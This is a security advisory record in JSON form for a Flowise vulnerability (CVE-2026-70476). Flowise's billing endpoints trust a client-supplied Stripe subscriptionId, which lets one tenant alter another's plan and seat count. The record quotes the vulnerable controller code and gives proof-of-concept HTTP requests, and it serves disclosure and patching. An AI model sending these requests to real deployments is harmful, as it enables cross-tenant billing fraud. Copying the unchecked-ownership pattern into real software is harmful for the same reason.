{"id":"CVE-2026-70476","aliases":["GHSA-gmmw-qg98-6j6p"],"url":"https://o3.security/vulnerability/CVE-2026-70476","summary":"Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation","details":"### Summary\nSeveral organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.\n\nThis allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.\n\n\n### Details\nMultiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.\n\n**File**\n\npackages/server/src/enterprise/routes/organization.route.ts\n\nAffected routes:\n\n```typescript\nrouter.post('/update-additional-seats', organizationController.updateAdditionalSeats)\nrouter.post('/update-subscription-plan', organizationController.updateSubscriptionPlan)\nupdateSubscriptionPlan\n```\n\n**File**\n\npackages/server/src/enterprise/controllers/organization.controller.ts\n\n```typescript\npublic async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) {\n    const { subscriptionId, newPlanId, prorationDate } = req.body\n\n    const identityManager = getRunningExpressApp().identityManager\n\n    const result = await identityManager.updateSubscriptionPlan(\n        req,\n        subscriptionId,\n        newPlanId,\n        prorationDate\n    )\n\n    return res.status(StatusCodes.OK).json(result)\n}\n```\n\nThe server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.\n\nMissing validation:\nsubscriptionId belongs to req.user.activeOrganization\n\nupdateAdditionalSeats\n\n```typescript\npublic async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) {\n    const { subscriptionId, quantity, prorationDate } = req.body\n\n    const identityManager = getRunningExpressApp().identityManager\n\n    const result = await identityManager.updateAdditionalSeats(\n        subscriptionId,\n        quantity,\n        prorationDate\n    )\n\n    return res.status(StatusCodes.OK).json(result)\n}\n```\n\nAgain, the subscriptionId is taken directly from the request body without verifying ownership.\n\n### PoC\nStep 1 - Obtain victim subscriptionId\n\nThis identifier may be obtained via the organization read endpoint or other exposed references.\n\nExample:\n\nsub_YYYYYYYYYYYY\n\nStep 2 - Modify victim subscription\n\n```http\nPOST /api/v1/organization/update-subscription-plan\nHost: target.example.com\nCookie: token=<attacker-session>\nContent-Type: application/json\n\n{\n  \"subscriptionId\": \"sub_YYYYYYYYYYYY\",\n  \"newPlanId\": \"free_plan_id\",\n  \"prorationDate\": 1735689600\n}\n```\n\nStep 3 - Change seat quantity\n\n```http\nPOST /api/v1/organization/update-additional-seats\nHost: target.example.com\nCookie: token=<attacker-session>\nContent-Type: application/json\n\n{\n  \"subscriptionId\": \"sub_YYYYYYYYYYYY\",\n  \"quantity\": 0,\n  \"prorationDate\": 1735689600\n}\n```\n\n### Impact\nAn authenticated attacker can manipulate the Stripe subscription of other organizations.\n\nPossible consequences include:\n\n- Unauthorized subscription upgrades to higher-priced plans\n- Manipulation of paid seat quantities leading to unintended charges\n- Service disruption through plan downgrades\n\nBecause the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.","published":"2026-08-04T19:23:57.040Z","modified":"2026-10-28T02:30:25.160133832Z","cvss":null,"epss":{"score":0.00286,"percentile":0.20596,"asOf":"2026-08-27"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"flowise","fixedVersion":"3.1.3"}],"fix":{"url":"https://github.com/FlowiseAI/Flowise/commit/4d7899d02ca370a5510406be5c91483085a412f9","label":"FlowiseAI/Flowise@4d7899d"},"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/70xxx/CVE-2026-70476.json"},{"type":"ADVISORY","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-gmmw-qg98-6j6p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70476"},{"type":"FIX","url":"https://github.com/FlowiseAI/Flowise/commit/4d7899d02ca370a5510406be5c91483085a412f9"},{"type":"FIX","url":"https://github.com/FlowiseAI/Flowise/pull/6321"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:25.160133832Z"}}